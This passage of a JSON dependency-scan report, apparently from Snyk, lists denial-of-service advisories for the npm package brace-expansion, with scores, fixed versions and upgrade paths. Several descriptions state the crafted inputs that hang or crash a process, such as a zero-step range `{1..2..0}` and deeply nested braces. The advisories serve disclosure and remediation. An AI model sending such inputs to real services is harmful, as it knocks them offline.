"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
